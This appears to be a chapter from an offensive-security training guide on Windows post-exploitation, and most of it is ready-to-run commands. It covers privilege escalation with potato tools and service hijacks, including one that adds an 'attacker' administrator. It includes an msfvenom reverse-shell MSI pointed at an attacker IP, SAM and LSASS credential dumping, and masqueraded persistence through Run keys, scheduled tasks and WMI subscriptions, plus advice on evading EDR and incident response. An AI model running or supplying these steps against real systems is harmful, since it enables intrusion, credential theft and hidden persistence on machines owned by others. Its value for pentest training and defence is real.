2.1a Local Box Deep Dive

Parent: 2. Windows · Architecture: 2.0 Windows Architecture · Next: 2.1b

— PART 1: WINDOWS LOCAL BOX —

Action Item 1 — System & Environment Enumeration [Beginner]

Manual enumeration of the Windows host is the bedrock of post-exploitation. You need to understand the OS, who's here, what's running, and what mistakes the admin made before attempting any escalation.

What you're building: A complete picture of the box — OS version (which exploits apply?), your privileges, network connections, and the admin mistakes that will escalate you. Everything in Part 1 depends on this groundwork.

Tactic: Discovery

Technique: System Information Discovery — Think of it like walking into a building you've never been in before. Before you do anything else, you stop and take stock:

The goal before touching anything else: build a complete mental map of the box — who's here, what's patched, what's privileged, and what mistakes the admin made — before you decide what to escalate with. Rushing to exploitation without this picture is how you get caught or miss the easy win.

Procedure — "First 5 Minutes on Box"

Work through these phases in order. Each phase builds on the last. Don't jump ahead to exploitation until you've completed Phase 1–4.

Phase 1 — Situational Awareness (Where am I?)

:: What OS, version, patch level, and architecture?
systeminfo                          :: full OS info including hotfixes — look for missing patches
ver                                  :: quick OS version number
hostname                             :: machine name — prod server? DC? workstation?
echo %COMPUTERNAME% %USERNAME%       :: fast identity check
wmic os get caption,version,osarchitecture
wmic qfe list brief                  :: installed hotfixes — gaps = potentially exploitable

:: Am I in a restricted environment?
gpresult /r                          :: applied GPOs — can reveal AppLocker, PowerShell constraints
whoami /groups | findstr /i "restricted\|mandatory"

Why: The OS version and patch level determine which CVEs apply. Long hotfix gap = likely vulnerable. GPO output tells you what execution restrictions are in place before you try to run anything.

Phase 2 — Who's Here? (Users & Sessions)

:: Who am I and what privileges do I hold?
whoami /all                          :: full token: user, groups, privileges — READ THIS CAREFULLY
net user %USERNAME%                  :: local account info
net user %USERNAME% /domain          :: domain account info (if domain-joined)

:: Who has a local admin account?
net localgroup administrators        :: who's in the local admins group?
net localgroup                       :: all local groups

:: Who is currently logged in RIGHT NOW?
query user                           :: active RDP/console sessions with session IDs
qwinsta                              :: same, different format
net session                          :: network sessions connected to this machine

:: Enumerate all local users and their last logon
net user                             :: all local accounts
wmic useraccount get name,sid,disabled,passwordexpires

Why: whoami /all is the single most important command on Windows — it shows your token privileges (SeImpersonatePrivilege, SeDebugPrivilege, SeBackupPrivilege) which each represent a direct escalation path. If another admin is logged in, their session is a lateral movement opportunity.

Phase 3 — What's Connected? (Network, Services & Storage)

:: What is this machine talking to right now?
netstat -ano                         :: all connections with PIDs — spot unusual outbound/listeners
netstat -ano | findstr LISTENING     :: only listening services

:: What does this host know about the network?
ipconfig /all                        :: all interfaces — dual-homed? VPN? internal subnets
arp -a                               :: what other hosts has this machine talked to recently?
route print                          :: routing table — what subnets are reachable?
nslookup domain.local                :: DNS + domain name confirmation

:: Find internal hosts by name (no scan needed)
type C:\Windows\System32\drivers\etc\hosts   :: static DNS entries

:: What's shared?
net share                            :: shares hosted on this machine
net use                              :: shares this machine is connected to
wmic logicaldisk get name,description,freespace,size

Why: The ARP cache reveals adjacent hosts without generating scan traffic. netstat -ano tells you if this box is already beaconing somewhere — look for established connections on unusual ports. Dual-homed hosts are pivot opportunities.

Phase 4 — Quick Privilege Checks (Low-Hanging Fruit)

:: Token privileges — HIGHEST priority check
whoami /priv
:: Immediate escalation paths:
:: SeImpersonatePrivilege → PrintSpoofer, GodPotato, JuicyPotatoNG → SYSTEM
:: SeDebugPrivilege       → dump LSASS directly
:: SeBackupPrivilege      → read any file (SAM, NTDS.dit)
:: SeRestorePrivilege     → write to system paths
:: SeTakeOwnershipPrivilege → take ownership of any object

:: UAC level — is UAC on? What's the consent behavior?
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

:: Is AlwaysInstallElevated set? (MSI files run as SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: Accessible service control
accesschk.exe -uwcqv * 2>nul        :: services your current user can modify
sc query type= all state= all       :: full service list

:: Writable directories in PATH
echo %PATH%

Why: SeImpersonatePrivilege is present on most service accounts and is a near-guaranteed path to SYSTEM via potato attacks. Check it before anything else. AlwaysInstallElevated = instant SYSTEM with a crafted MSI, no exploit needed.

Phase 5 — Secrets & History (Credentials in the Clear)

:: PowerShell history — operators paste passwords here constantly
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

:: Stored credentials (Credential Manager)
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all

:: AutoLogon credentials (cleartext in registry)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

:: PuTTY saved sessions
reg query HKCU\Software\SimonTatham\PuTTY\Sessions

:: WinSCP saved passwords
reg query HKCU\Software\Martin Prikryl\WinSCP 2\Sessions

:: Config files — look in web roots, app dirs
dir /s /b *pass* *cred* *config* 2>nul | findstr /v "System32\|WinSxS"
findstr /si "password=" C:\inetpub\*.config C:\inetpub\*.xml 2>nul

Why: PowerShell history is the most overlooked quick win on Windows — admins run scripts with hardcoded credentials and never clear it. Credential Manager and registry AutoLogon creds are found in a significant percentage of real engagements.

Phase 6 — Running Processes & Services (Escalation Paths)

# Full process list with owners
Get-WmiObject Win32_Process | Select Name, ProcessId, @{N='Owner';E={$_.GetOwner().User}} | Sort Owner

# Unquoted service paths — spaces without quotes = potential hijack
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select Name, PathName, StartMode, State

# Services running as high-privilege accounts
Get-WmiObject Win32_Service | Where-Object {
    $_.StartName -match "LocalSystem|Administrator|SYSTEM"
} | Select Name, StartName, PathName

# Scheduled tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "task name\|run as\|task to run"
Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq "Highest"} | Select TaskName, TaskPath

Why: An unquoted service path like C:\Program Files\My App\service.exe — with no quotes and a space — means Windows will try to run C:\Program.exe first. If you can write to that path, you get SYSTEM when the service restarts.

Phase 7 — Automated Enumeration (Noisy, Use Last)

:: winPEAS — comprehensive automated sweep (noisy)
.\winPEASany.exe > C:\Temp\wp.txt 2>&1

:: PowerUp — PowerShell privesc checker (less noisy)
. .\PowerUp.ps1
Invoke-AllChecks

OPSEC: winPEAS touches hundreds of registry keys, runs dozens of WMI queries, and traverses the filesystem — it will generate significant event log noise. In an EDR environment, use it once, redirect to a file, then read offline. Complete Phases 1–6 manually first on high-security targets.

Phase 7.5 — Unknown Service / Binary Identification

You've found something running you don't recognize — a service, a process, a binary in an odd path. Work through this before escalating or ignoring it.

# Step 1: List all non-Microsoft services (unknown publishers = investigate first)
Get-WmiObject Win32_Service |
  Where-Object { $_.PathName -notmatch "System32|SysWOW64|WindowsApps" } |
  Select Name, State, StartName, PathName | Format-List

# Step 2: For a suspicious service NAME — get the full story
$SvcName = "SuspiciousService"   # replace with your target

sc qc $SvcName                            # binary path, start type, account
sc query $SvcName                         # current running state
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq $SvcName} |
  Select Name, PathName, StartName, ProcessId, Description

# Step 3: Follow the binary
$BinPath = (Get-WmiObject Win32_Service | Where Name -eq $SvcName).PathName
$BinPath = $BinPath -replace '"', '' -replace ' .*', ''   # strip args

Get-Item $BinPath | Select FullName, Length, CreationTime, LastWriteTime
Get-AuthenticodeSignature $BinPath | Select Status, SignerCertificate

# Step 4: Network footprint of the process
$PID = (Get-WmiObject Win32_Service | Where Name -eq $SvcName).ProcessId
netstat -ano | findstr $PID
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq $PID } |
  Select LocalAddress, LocalPort, RemoteAddress, RemotePort, State

# Step 5: Embedded strings (find URLs, protocols, credentials)
# Sysinternals strings.exe — download from https://learn.microsoft.com/sysinternals/downloads/strings
strings.exe -nobanner $BinPath | findstr /i "http ftp smtp ldap redis mysql postgres password token key url config version"

# Step 6: Registry — does this service have a full registry footprint?
reg query "HKLM\SYSTEM\CurrentControlSet\Services\$SvcName" /s

# Step 7: Banner grab the listening port (if Step 4 found one)
# Replace PORT with the port from Step 4
$Port = 8080
$Client = New-Object System.Net.Sockets.TcpClient("127.0.0.1", $Port)
$Stream = $Client.GetStream()
$Buffer = New-Object Byte[] 1024
$Read = $Stream.Read($Buffer, 0, 1024)
[System.Text.Encoding]::ASCII.GetString($Buffer, 0, $Read)
$Client.Close()

:: CMD fallback for banner grab on a local port
curl -sk http://127.0.0.1:PORT/ 2>nul
:: Check if it's TLS
openssl s_client -connect 127.0.0.1:PORT 2>nul | findstr /i "subject\|issuer\|CN="

Why: sc qc and Get-WmiObject Win32_Service give you everything the SCM knows about a service without touching the binary. Get-AuthenticodeSignature catches the most important signal fast — an unsigned binary in a system path is immediately suspicious. Embedded strings reveal protocol names, URLs, and hardcoded creds that survive obfuscation attempts. The registry key under HKLM\SYSTEM\CurrentControlSet\Services\ contains the full service configuration including any command-line parameters.

OPSEC: sc qc, Get-WmiObject Win32_Service, and netstat -ano are all native Windows commands and generate minimal log noise. sigcheck.exe and strings.exe are Sysinternals tools — their execution may be logged by EDR as "potentially unwanted software analysis tool." Avoid Procmon and handle.exe on high-security targets if you cannot explain their presence; use Get-NetTCPConnection and reg query instead for equivalent coverage without dropped Sysinternals binaries.

Action Item 2 — Windows Privilege Escalation [Beginner/Intermediate]

Misconfigured privileges, unquoted paths, and writable services are the most reliable escalation paths on Windows. No exploit needed in most cases — admin mistakes get you there.

What you're building: A path from your current user to SYSTEM — the Windows equivalent of root. Most paths involve either your token privileges (no admin action needed) or an admin misconfiguration in services or scheduled tasks.

Tactic: Privilege Escalation

Technique: Access Token Manipulation and Service/Config Abuse (T1548.002, T1134.001)

Procedure:

# --- Path 1: SeImpersonatePrivilege (most common on service accounts) ---
whoami /priv | findstr /i "impersonate"

# PrintSpoofer — Windows Server 2016/2019, Windows 10
.\PrintSpoofer.exe -i -c cmd

# GodPotato — Windows Server 2012–2022, Windows 8–11
.\GodPotato.exe -cmd "cmd /c whoami"

# JuicyPotatoNG
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"

:: --- Path 2: Unquoted Service Path ---
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows"
icacls "C:\Program Files\Vulnerable App"   :: look for BUILTIN\Users:(W)

:: Drop payload at first resolvable path segment
copy evil.exe "C:\Program Files\Vulnerable.exe"
sc stop VulnerableService && sc start VulnerableService

:: --- Path 3: Weak Service DACL ---
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

:: Change binary path to run a command
sc config targetservice binpath= "C:\Windows\System32\cmd.exe /c net localgroup administrators attacker /add"
sc start targetservice
:: Restore after:
sc config targetservice binpath= "C:\original\path.exe"

:: --- Path 4: AlwaysInstallElevated ---
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Both must be 0x1 — then any MSI runs as SYSTEM

# Generate malicious MSI on attacker machine
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=443 -f msi -o evil.msi

:: Execute on target
msiexec /quiet /qn /i evil.msi

:: --- Path 5: Kernel / Patch-Level Exploits (WES-NG) ---
:: Step 1: Collect systeminfo output on the target
systeminfo > C:\Temp\sysinfo.txt

:: Transfer sysinfo.txt to your attacker machine, then:

# Step 2: Run WES-NG against the collected output
# Install: pip install wesng  OR  git clone https://github.com/bitsadmin/wesng
python3 wes.py systeminfo.txt             # list all missing patches + CVEs
python3 wes.py systeminfo.txt --exploits-only   # filter to exploitable CVEs only
python3 wes.py systeminfo.txt -i 'Privilege Escalation' --exploits-only  # PrivEsc only

WES-NG cross-references the installed hotfixes from systeminfo against the Windows vulnerability database and outputs exploitable CVEs sorted by severity.

High-value kernel CVEs to look for:

# HiveNightmare (CVE-2021-36934) — low-priv read of SAM/SYSTEM shadow copies
# Affects Windows 10 1809–21H1 (and Server 2019/2022 in specific configs) if VSS shadow copies exist
# Check: icacls C:\Windows\System32\config\SAM → if BUILTIN\Users:(I)(RX) → vulnerable
icacls C:\Windows\System32\config\SAM

# Exploit: grab shadow copy of hives
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\

# Parse locally (no admin required)
secretsdump.py -sam SAM -system SYSTEM LOCAL

OPSEC: Potato attacks create a named pipe and trigger a SYSTEM process to connect — relatively quiet but visible in process creation logs. Service binary swaps are logged if the service binary path is audited. Kernel exploits may cause instability on production systems — test in labs first. Always restore originals after use.

Action Item 3 — Windows Credential Harvesting [Intermediate]

After gaining elevated access, extract credentials for lateral movement. Windows stores hashes and plaintext credentials in multiple locations — LSASS, the SAM hive, registry, and the DPAPI vault.

What you're building: A credential cache — NTLM hashes for Pass-the-Hash, cleartext passwords for direct authentication, and Kerberos tickets for Pass-the-Ticket. These feed directly into the AD attack chain in Part 2.

Tactic: Credential Access

Technique: OS Credential Dumping (T1003.001, T1003.002)

Procedure:

:: --- Method 1: SAM + SYSTEM dump (preferred — no LSASS touch) ---
reg save HKLM\SAM C:\Temp\sam.bak
reg save HKLM\SYSTEM C:\Temp\system.bak
reg save HKLM\SECURITY C:\Temp\security.bak

# On attacker (Linux):
secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL

# --- Method 2: LSASS dump via comsvcs.dll (fileless — no binary dropped) ---
# Requires SeDebugPrivilege or local admin
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Temp\lsass.dmp full

# Parse dump on attacker (Linux):
pypykatz lsa minidump lsass.dmp

:: --- Method 3: procdump (Sysinternals) ---
.\procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

# --- Method 4: Mimikatz (if executable is viable) ---
privilege::debug
sekurlsa::logonpasswords      # NTLM hashes + cleartext if WDigest enabled
lsadump::sam                  # SAM hashes
lsadump::secrets              # LSA secrets (service account passwords)
lsadump::cache                # cached domain logon credentials

# WDigest check — is cleartext in LSASS?
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
# Value = 1 → cleartext passwords in LSASS

:: --- Method 5: Credential Manager + DPAPI ---
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all

OPSEC: LSASS dumps are the #1 EDR alert trigger. Using comsvcs.dll (a Windows-native binary) is less flagged than dropping mimikatz.exe, but the dump creation event itself is still logged. Always check if WDigest is enabled before attempting a dump — if it is, you might get cleartext without needing to crack anything.

Action Item 4 — Windows Persistence [Intermediate]

After escalation, establish persistence mechanisms that survive reboots and blend into legitimate Windows behaviour. Each mechanism trades stealth for reliability — choose based on environment maturity.

What you're building: A redundant foothold that doesn't rely on your active C2 session. If you lose the shell, you get it back. Each mechanism has a different stealth profile — read the OPSEC notes.

Tactic: Persistence

Technique: Boot/Logon Autostart & Scheduled Task Creation (T1053.005, T1543.003, T1546.003)

Procedure:

:: --- Method 1: Registry Run Key ---
:: User-level (no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f

:: System-level (admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f

:: --- Method 2: Scheduled Task ---
:: Masquerade as Windows Defender update task
schtasks /create /tn "Microsoft\Windows\Defender\DefenderUpdate" /tr "C:\Temp\payload.exe" /sc onstart /ru SYSTEM /f

:: Time-based trigger (quieter)
schtasks /create /tn "Microsoft\Windows\CertPKICache\CacheRepair" /tr "C:\Temp\payload.exe" /sc daily /st 09:00 /ru SYSTEM /f

# --- Method 3: WMI Event Subscription (stealthiest) ---
$filterName = "SCMTrigger"
$consumerName = "SCMConsumer"

$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name           = $filterName
    EventNameSpace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
    Name                = $consumerName
    CommandLineTemplate = "C:\Temp\payload.exe"
}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
    Filter   = $filter
    Consumer = $consumer
}

OPSEC: Persistence is the phase most likely to be found during IR. Avoid obvious names like backdoor.service. Masquerade as legitimate-sounding Windows components (MicrosoftEdgeUpdate, DefenderCache). WMI subscriptions are the hardest to find without dedicated tooling — Get-WMIObject __EventFilter -Namespace root\subscription is the IR analyst's check. Always know how to clean up each mechanism.